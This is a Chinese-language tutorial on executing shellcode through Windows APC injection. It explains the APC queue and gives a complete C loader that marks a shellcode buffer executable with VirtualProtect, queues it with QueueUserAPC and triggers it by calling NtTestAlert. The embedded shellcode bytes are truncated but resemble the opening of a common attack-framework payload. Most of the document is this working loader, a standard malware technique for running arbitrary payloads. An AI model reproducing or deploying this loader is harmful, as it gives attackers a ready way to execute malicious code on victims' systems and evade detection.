基于APC注入加载

什么是APC队列

异步过程调用(APC)队列是一个与线程关联的队列,用于存储要在该线程上下文中异步执行的函数。操作系统内核会跟踪每个线程的 APC 队列,并在适当的时机触发队列中挂起的函数。APC 队列通常用于实现线程间的异步通信、定时器回调以及异步 I/O 操作。

APC 队列包含两种类型的 APC:

  1. 内核模式 APC:由内核代码发起,通常用于处理内核级别的异步操作,如异步 I/O 完成。

  2. 用户模式 APC:由用户代码发起,允许用户态应用程序将特定函数插入到线程的 APC 队列中,以便在线程上下文中异步执行

实现思路

  • 使用 VirtualProtect 函数修改 shellcode 所在内存区域的保护属性,将其设置为可执行、可读、可写(PAGE_EXECUTE_READWRITE),以便执行其中的代码。

  • 获取 NtTestAlert 函数的地址。这是一个内部函数,无法直接通过函数名调用。NtTestAlert 函数用于检查当前线程的 APC 队列。如果队列中有挂起的用户模式 APC 请求,NtTestAlert 将触发它们的执行。

  • 使用 QueueUserAPC 函数向当前线程的 APC 队列添加一个执行 Shellcode 的任务。这将在 NtTestAlert 被调用时执行 Shellcode。

  • 调用 NtTestAlert 函数,触发 APC 队列中的任务执行,实现 Shellcode 的执行

实现代码

该代码通过在当前线程的 APC 队列中添加一个执行 Shellcode 的任务,并调用 NtTestAlert 函数触发 APC 队列中的任务执行,从而实现了加载并执行 Shellcode 的目的

#include <Windows.h>

typedef DWORD(WINAPI* pNtTestAlert)();

unsigned char shellcode[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x00\x53\xff\xd5";

void ApcLoader() {
    // 修改 shellcode 所在内存区域的保护属性,允许执行
    DWORD oldProtect;
    VirtualProtect((LPVOID)shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);

    /*
    获取NtTestAlert函数地址, 因为它是一个内部函数.无法直接通过函数名调用
    这个函数用于检查当前线程的 APC(Asynchronous Procedure Call,异步过程调用)队列,如
    果队列中有挂起的用户模式 APC 请求,NtTestAlert 将触发它们的执行
    */
    pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));

    // 向当前线程的异步过程调用(APC)队列添加一个执行shellcode的任务
    QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)shellcode, GetCurrentThread(), NULL);

    //调用NtTestAlert,触发 APC 队列中的任务执行(即执行 shellcode)
    NtTestAlert();
}


void main() {
    ApcLoader();
}

最后更新于